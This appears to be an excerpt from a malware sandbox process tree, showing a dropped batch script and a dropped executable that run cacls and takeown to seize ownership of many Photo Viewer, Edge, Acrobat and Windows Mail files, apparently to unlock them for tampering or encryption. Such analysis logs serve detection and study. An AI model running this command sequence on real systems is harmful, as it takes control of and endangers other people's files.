C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "Identity-V" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "Identity-V" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\ga.pak.DATA""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\ga.pak.DATA" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\ga.pak.DATA"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ga.pak.DATA" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ga.pak.DATA" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\ko.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\ko.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\ko.pak"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ko.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ko.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\mt.pak.DATA""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\mt.pak.DATA" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\mt.pak.DATA"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "mt.pak.DATA" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "mt.pak.DATA" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\mr.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\mr.pak" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\mr.pak"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "mr.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "mr.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\pa.pak.DATA""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\pa.pak.DATA" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\pa.pak.DATA"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "pa.pak.DATA" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "pa.pak.DATA" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "Identity-H" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "Identity-H" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\sl.pak""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\sl.pak" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\sl.pak"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "sl.pak" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "sl.pak" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\vk_swiftshader_icd.json.DATA""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\vk_swiftshader_icd.json.DATA" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\vk_swiftshader_icd.json.DATA"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "vk_swiftshader_icd.json.DATA" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "vk_swiftshader_icd.json.DATA" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "wabmig.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\Install\{45F8B51D-EABC-42F1-BB45-74C2DEEAB111}\MicrosoftEdge_X64_139.0.3405.125.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\Install\{45F8B51D-EABC-42F1-BB45-74C2DEEAB111}\MicrosoftEdge_X64_139.0.3405.125.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\Install\{45F8B51D-EABC-42F1-BB45-74C2DEEAB111}\MicrosoftEdge_X64_139.0.3405.125.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "MicrosoftEdge_X64_139.0.3405.125.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "MicrosoftEdge_X64_139.0.3405.125.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Mail\wab.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wab.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "wab.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "wab.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
